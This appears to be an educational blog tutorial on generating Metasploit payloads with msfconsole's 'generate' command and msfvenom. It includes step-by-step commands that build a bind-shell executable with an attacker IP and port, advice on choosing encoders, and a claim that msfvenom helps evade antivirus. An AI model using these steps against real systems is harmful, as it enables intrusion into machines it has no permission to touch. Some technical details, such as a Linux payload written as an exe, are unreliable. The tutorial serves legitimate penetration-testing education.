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Table of contents
1.
Introduction
2.
Metasploit
3.
Metasploit Payload
4.
Types of Payload
5.
Generating a Metasploit Payload
5.1.
Using generate Command
5.2.
Generating executable Payload using msfvenom
6.
Frequently Asked Questions
6.1.
Which Metasploit tool allows for payload creation and encoding?
6.2.
What database is used by Metasploit?
6.3.
Why is payload necessary?
6.4.
Does Metasploit need to be connected to the Internet?
7.
Conclusion
Last Updated: Mar 27, 2024
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Generating a Metasploit Payload

Author Shivani Singh
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Introduction

Open-source Metasploit is a framework for creating exploits and testing security. In this blog, we are going to discuss Generating a Metasploit Payload.

Generating a Metasploit Payload

Metasploit Payload is a component provided by Metasploit framework. It is used to run code on a target system. Payload refers to hackers' programs to communicate with a compromised system. They are able to send data to a target system using Payloads. To know more, let us dig deeper into the blog, Generating a Metasploit Payload.

Metasploit

Given the rise in cybercrime, learning how to employ security in the corporate world is more crucial than ever. Through penetration testing, companies can assess the overall security of their IT infrastructure. 

Metasploit

One of the best penetration testing tools is Metasploit, which can be used by a company to identify and patch up system vulnerabilities before hackers can exploit them. Metasploit, to put it simply, permits ethical hacking.

With the use of Metasploit's many tools, libraries, user interfaces, and modules, a user can set up an exploit module, pair it with a Payload, aim at a target, and fire it against the target system. Numerous Payload choices and hundreds of exploits are contained in the vast and comprehensive database of Metasploit.

This was a brief introduction to the Metasploit framework. Now we will be moving to discuss; Generating a Metasploit Payload. But before this, let us know what a Payload is.

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Metasploit Payload

Metasploit Payload is a part of the Metasploit Framework used to run code on a target system. They are files kept in the platform's modules, Payloads, single stages, and Staggers.

Metasploit Payload

Payloads can be used for various things, like remotely accessing a target machine, gathering data, or running malicious code. They can take on different types, like shellcode or executable files. The Metasploit Framework enables security professionals to personalize their attacks to target particular systems and produce desired results by allowing Payloads to be customized to match the unique needs of a certain engagement.

Now let us see the types of Metasploit Payload.

Also read - active and passive attacks

Types of Payload

Here we will notice the different types of Payload available to us. There are three main types of Payload available in Metasploit. Let us see them in detail.

Types of Payload

1. Singles: Single Payloads are fully independent, self-contained units. A single Payload can be as straightforward as launching a program or adding a user to the target system. Because these Payloads are self-contained, they can be intercepted by handlers other than Metasploit.
 

2. Stagers: Stagers are supposed to be compact and reliable payloads that establish a network connection between the attacker and the victim. Since it is challenging to consistently accomplish both successfully, numerous stagers are comparable. When possible, Metasploit will use the best one; otherwise, it will resort to a less desirable one.
 

3. Stages: Stages are Payload elements that Stagers modules download. The various Payload stages offer advanced capabilities with no size restrictions, such as MeterpreterVNC Injection, and the iPhone 'ipwn' Shell.

 

Now let us see the main topic; Generating a Metasploit Payload.

Generating a Metasploit Payload

Payloads for Metasploit can be generated directly from the msfconsole. We can use the 'generate' command that will be available after selecting a specific Payload, or we can use the msfvenom tool provided by Metasploit to generate the executable Payload.

Let's discuss both ways one by one.

Using generate Command

In this section of the blog, we are going to see how we can create a payload using the 'generate' command. Follow the below steps to generate an executable payload.

 

Step 1: Open up the msfconsole by typing the below command in the terminal:

msfconsole
Using generate Command

Now you must be in the Metasploit console. 
 

Step 2: Before continuing, let's first see the list of pre-available payloads provided by Metasploit. To get the list of available payloads, we can use the below command.

show payloads
Using generate Command

 

Let's use the shell_bind_tcp for our example.
 

Step 3: In the Metasploit console type the following command:

use payload/linux/x64/shell_bind_tcp

or 

use payload/windows/shell_bind_tcp
Using generate Command

The above command marks the specific payload so that we can do our modifications and generate the executable file ( or any other supported format ).

 

Step 4: Now, run the help command to check the available commands we can use.

Using generate Command

 

We can also use the -h flag with the above-listed command to see all configurations available.

Run '<above listed command> -h.

Using generate Command

 

Step 5: Now simply run the 'generate' command to generate the Payload.

Using generate Command

 

There might be a chance that the Payload you have generated contains a bad character because of the encoder being used. To overcome this problem, we can specify the encoder we want to use. Before that, let's first see how many encoders are available to us.

 

Step 6: Run the below command to get the list of available encoders.

show encoders
Using generate Command

 

Imagine a vulnerability that can only be exploited if it contains non-alphanumeric characters. Since it uses almost every letter that can be encoded, the'shikata_ga_nai' encoder would not be appropriate in this situation. So we can use an encoder like encode/x86/nonalpha 

 

By peeking at the help section of the 'generate' command, we can see that by using the -e flag, we can specify the encoder that we want to use.

 

Step 7: Checking the Options available for payload - We can check all of the available options for our Payload and can modify it accordingly. To check the available options, we can run the below command.

show option
Using generate Command

 

Step 8: Imagine we want to change the LPORT; we can specify the Option=Value (LPORT in our example) with the generate command to change the value of the specific option. Below is an example of the same.

Command to use: 'generate LPORT=8888'

Using generate Command

 

Step 9: Now after doing all of the required modifications, we can finally run the below command to generate the exe file for our selected payload.

generate <options> -f <output_format> -o <path_to_store_file_with_name>
Using generate Command


We can verify whether the exe file is generated or not by going to the directory.

Using generate Command

As we can see, the payload has been generated successfully.

Generating executable Payload using msfvenom

Msfvenom is the tool in Metasploit that can be used for various tasks like creating executable Payloads. In this blog section, we are going to see how to create an executable Payload using msfvenom.

Follow the below steps to generate the payload using msfvenom.

Step 1: Open msfconsole by typing the below command in the terminal.

msfconsole


Step 2: Once you are in the Metasploit console, run 'msfvenom -h' to get the help page.

Generating executable Payload using msfvenom

 

Step 3: As mentioned in the help documentation of msfvenom, we can use the -p flag to specify the Payload we want. 

Syntax: msfvenom -p <payload> <Options> -f <output_format> -o <path_to_store>

 

Now run the below command to create a Payload.

msfvenom -p linux/x64/shell_bind_tcp lhost=192.168.43.28 lport=4444 -f exe -o payload.exe

 

Command breakdown:
 

'msfvenom -p linux/x64/shell_bind_tcp' specifies the Payload we want to use.
 

'lhost=192.168.43.28 lport=4444': attacker's IP address and port number.
 

'-f exe': specifying the output format of Payload; in our case, it is .exe.
 

 '–o payload.exe': Path and name of the file to generate; in our case, the filename will be payload.exe in the path where msfconsole is running.

 

Output:

Generating executable Payload using msfvenom

 

You can verify by checking the payload.exe file that is created after the successful completion of the above command.

Generating executable Payload using msfvenom

 

Congratulations! The Payload is successfully generated. Now you can explore more and use it.

Frequently Asked Questions

Which Metasploit tool allows for payload creation and encoding?

You can create personalized payloads for particular targets using Msfvenom. The tool was made by combining the msfencode and msfpayload Metasploit utilities. Msfvenom can assist in circumventing an antivirus or firewall-protected target's security.

What database is used by Metasploit?

PostgreSQL database system compatibility is included in Metasploit. The system allows us to import and export scan findings from numerous third-party programs and provides quick and simple access to scan information. This knowledge also allows us to rapidly configure module options.

Why is payload necessary?

The actual message a system or app needs to act is in part of the unit data. Simply put, programmers use the term "payload" to distinguish between the information that is crucial to a chunk of data and the data that is used to support it.

Does Metasploit need to be connected to the Internet?

The software can be downloaded and registered from an online site before being used offline. You can ask Rapid7 Support for an offline activation file if you already own a copy of Metasploit Pro.

Conclusion

As we have come to the end of this blog, let us see what we have discussed so far. In this blog, we discussed Generating a Metasploit Payload and the basics of Metasploit and Metasploit Payload. After that, we discussed the types of payload. In the end, we discussed how to create a Metasploit payload using generate and msfvenom commands.

If you like to learn more, you can check out our articles: 

You may refer to our Guided Path on Code Studios for enhancing your skill set on DSACompetitive ProgrammingSystem Design, etc. Check out essential interview questions, practice our available mock tests, look at the interview bundle for interview preparations, and so much more!

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